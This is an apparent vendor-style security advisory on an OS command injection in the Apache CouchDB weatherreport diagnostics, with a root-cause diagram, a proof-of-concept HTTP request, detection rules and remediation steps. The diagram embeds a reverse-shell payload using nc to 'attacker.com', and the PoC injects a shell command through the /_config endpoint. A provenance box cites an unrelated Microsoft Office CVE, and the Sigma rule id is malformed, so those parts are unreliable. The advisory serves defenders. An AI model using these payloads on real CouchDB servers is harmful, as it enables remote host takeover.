CVE-2026-86471: Apache CouchDB Weatherreport Diagnostics OS Command Injection
A critical vulnerability (CVE-2026-86471) has been disclosed in Apache CouchDB versions 3.5.2 and earlier. The flaw resides within the weatherreport node diagnostics module, which incorporates unsanitized runtime configuration values into shell execution commands. Server administrators or attackers who have compromised administrative credentials can update configuration parameters via the /_config HTTP endpoint to execute arbitrary operating system commands with the privileges of the couchdb system user. Upgrading to Apache CouchDB 3.5.3 resolves this flaw. Hermes rates this threat at HTS 94 (CRITICAL).
HERMES THREAT SCORE & ENTERPRISE DATABASE EXPOSURE
Target:Apache CouchDB Diagnostics Engine (/src/weatherreport/) CVSS v4.0 scores this flaw at 9.3 Critical, while CVSS v3.1 rates it at 9.8. Hermes Threat Score assigns 94 (CRITICAL). While triggering the exploit requires server administrator privileges, CouchDB instances frequently fall victim to credential stuffing or unauthenticated legacy 'admin party' deployments. Once administrative control is established, this flaw transforms application-level access into immediate host takeover.
CVE-2026-86471: Apache CouchDB Weatherreport Diagnostics OS Command InjectionVULNERABILITY
Software platform affected by security vulnerabilities and agentic attack patterns.
๐ Why is this related? (Evidence & Provenance)
“Confirmed security vulnerability in Microsoft Office & 365 Apps documented in Hermes dossier.”
- [vulnerability_report]
- [government_confirmation]CISA verified active exploitation in the wild and mandated federal remediation deadline in KEV entry. — Source: Cybersecurity & Infrastructure Security Agency (CISA): CISA Adds CVE-2026-59822 to Known Exploited Vulnerabilities Catalog (Reliability: VERY_HIGH)
1. Executive Summary & Overview
Section titled โ1. Executive Summary & OverviewโApache CouchDB is an enterprise-grade, document-oriented NoSQL database system utilizing JSON documents, JavaScript MapReduce queries, and Erlang concurrency. In distributed production environments, CouchDB administrators utilize the built-in weatherreport diagnostic utility to inspect node health, memory distribution, file descriptor usage, and network responsiveness.
Prior to version 3.5.3, the weatherreport subsystem failed to sanitize configuration values retrieved dynamically from the runtime configuration hierarchy (/_config). An attacker possessing administrative credentialsโor utilizing credential stuffing against exposed management interfacesโcan manipulate these settings and achieve operating system command execution under the privileges of the CouchDB service account.
2. Root Cause Analysis & Technical Mechanics (CWE-78)
Section titled โ2. Root Cause Analysis & Technical Mechanics (CWE-78)โThe root cause lies in Erlang command invocation functions within weatherreport_util.erl. Diagnostic routines executing system-level health inquiries constructed OS commands by concatenating strings rather than using safe argument vectors:
[HTTP Client] โ (PUT /_node/_local/_config/weatherreport/diagnostic_path "; nc attacker.com 4444 -e /bin/sh ;") โผ[chttpd_node:handle_config_req/1] โ (Writes to runtime in-memory ets table & local.ini) โผ[weatherreport_runner:run/1] โ (Executes internal diagnostic verification) โผ[os:cmd("sh -c " ++ Path)] โโโบ [Arbitrary Command Execution as UID couchdb]Because os:cmd/1 executes through /bin/sh -c on UNIX platforms without escaping shell delimiters, any semicolon, pipe, backtick, or dollar-sign sequence injected into the configuration variable breaks out of the intended diagnostic command and executes arbitrary binaries.
3. Attack Vector & Proof-of-Concept Workflow
Section titled โ3. Attack Vector & Proof-of-Concept Workflowโ-
Administrative Access Acquisition: The adversary authenticates to the CouchDB HTTP API as an administrative user (
admin:password) via basic authentication or session cookies (POST /_session). -
Runtime Configuration Injection: The attacker issues a
PUTrequest to update the diagnostic command path parameter:PUT /_node/_local/_config/weatherreport/cmd_prefix HTTP/1.1Host: couchdb.target.internal:5984Authorization: Basic YWRtaW46cGFzc3dvcmQ=Content-Type: application/json"echo PWNED > /tmp/proof.txt; #" -
Triggering Diagnostic Execution: The adversary triggers the execution of the weatherreport diagnostic suite either via the management endpoint or by triggering scheduled cluster health verification.
-
Payload Execution: The Erlang BEAM runtime evaluates
os:cmd/1, running the injected command with the privileges of thecouchdbsystem daemon.
4. Affected Versions & Remediation Matrix
Section titled โ4. Affected Versions & Remediation Matrixโ| Product | Vulnerable Versions | Patched Version | Update Urgency |
|---|---|---|---|
| Apache CouchDB | <= 3.5.2 (All Platforms) | 3.5.3 | CRITICAL (Immediate) |
5. Detection Engineering & Threat Hunting
Section titled โ5. Detection Engineering & Threat Huntingโalert http $EXTERNAL_NET any -> $HOME_NET 5984 ( \ msg:"ET EXPLOIT Apache CouchDB Weatherreport Command Injection (CVE-2026-86471)"; \ flow:established,to_server; \ http.method; content:"PUT"; \ http.uri; content:"/_config/weatherreport"; fast_pattern; \ http.request_body; pcre:"/(\x3b|\x7c|\x60|\x24\x28)/"; \ classtype:attempted-admin; \ sid:202686471; rev:1; \)title: Apache CouchDB Weatherreport Command Injectionid: a8647100-c04c-4db0-9471-couchdb00001status: experimentaldescription: Detects modification of CouchDB weatherreport configuration with shell command execution metacharacters.logsource: category: webserver service: couchdbdetection: selection: cs-method: 'PUT' cs-uri-stem|contains: '/_config/weatherreport' keywords: cs-uri-query|contains: - ';' - '|' - '`' - '$(' condition: selection and keywordsfalsepositives: - Legitimate administrative reconfiguration of custom tool pathslevel: critical6. Remediation & Hardening Roadmap
Section titled โ6. Remediation & Hardening Roadmapโ-
Apply Apache CouchDB 3.5.3 Update: Deploy the official 3.5.3 release which replaces shell command interpolation with parameterized argument vectors and restricts configurable diagnostic paths.
Terminal window apt-get update && apt-get install --only-upgrade couchdb -
Restrict Access to Configuration APIs: Ensure
[httpd] config_whitelistis populated with strictly necessary sections, or isolate administrative ports from public accessibility:[chttpd]bind_address = 127.0.0.1 -
Verify OS Process Isolation: Execute CouchDB within a systemd service sandboxed with
ProtectSystem=strict,ProtectHome=true, andNoNewPrivileges=true.